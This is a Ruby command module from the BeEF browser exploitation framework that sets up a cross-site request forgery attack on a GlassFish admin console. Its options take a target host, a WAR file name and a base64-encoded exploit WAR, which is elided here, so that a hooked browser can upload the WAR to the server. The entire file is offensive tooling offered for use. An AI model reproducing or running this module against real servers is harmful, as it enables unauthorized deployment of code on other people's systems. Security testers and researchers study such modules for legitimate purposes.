#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Glassfish_war_upload_xsrf < BeEF::Core::Command

  def self.options
    return [
        {'name' => 'restHost', 'ui_label'=>'Host', 'type' => 'textarea', 'value' =>'http://glassfishserver:4848', 'width' => '400px', 'height' => '25px'},
        {'name' => 'warName', 'ui_label' => 'Filename', 'value' => 'hello.war', 'type' => 'textarea', 'width' => '400px', 'height' => '25px' },
	{'name' => 'warBase', 'ui_label' => 'Base64 of exploit', 'value' => '[encoded data, 5472 characters]', 'type' => 'textarea', 'width' => '400px', 'height' => '800px' }
    ]
  end
  
  def post_execute
    content = {}
    content['result'] = @datastore['result']
    save content
  end
  
end
